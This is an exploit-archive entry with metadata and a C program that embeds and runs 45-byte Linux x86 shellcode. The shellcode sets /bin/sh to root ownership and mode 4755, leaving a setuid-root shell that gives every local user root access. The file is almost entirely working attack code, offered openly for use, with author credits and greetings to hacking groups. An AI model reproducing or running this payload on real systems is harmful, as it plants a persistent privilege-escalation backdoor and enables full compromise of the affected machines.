Linux/x86 - Give All Users Root Access When Executing /bin/sh Shellcode (45 bytes)
Author: gunslinger_
type:
platform: linux_x86
port: 45.0
date_added: 2010-06-05
date_updated: 2018-01-17
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url:
/*
Name : 45 bytes give all user root access when execute /bin/sh x86 linux shellcode
Date : Sat Jun 5 16:10:00 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, cruz3n and all devilzc0de crew
*/
#include <stdio.h>
char *shellcode=
"\xeb\x1f" /* jmp 0x8048081 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\xb6" /* mov $0xb6,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x0f" /* mov $0xf,%al */
"\x89\xdb" /* mov %ebx,%ebx */
"\x66\xb9\xed\x09" /* mov $0x9ed,%cx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x62\x69\x6e" /* bound %ebp,0x6e(%ecx) */
"\x2f" /* das */
"\x73\x68"; /* jae 0x80480f5 */
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}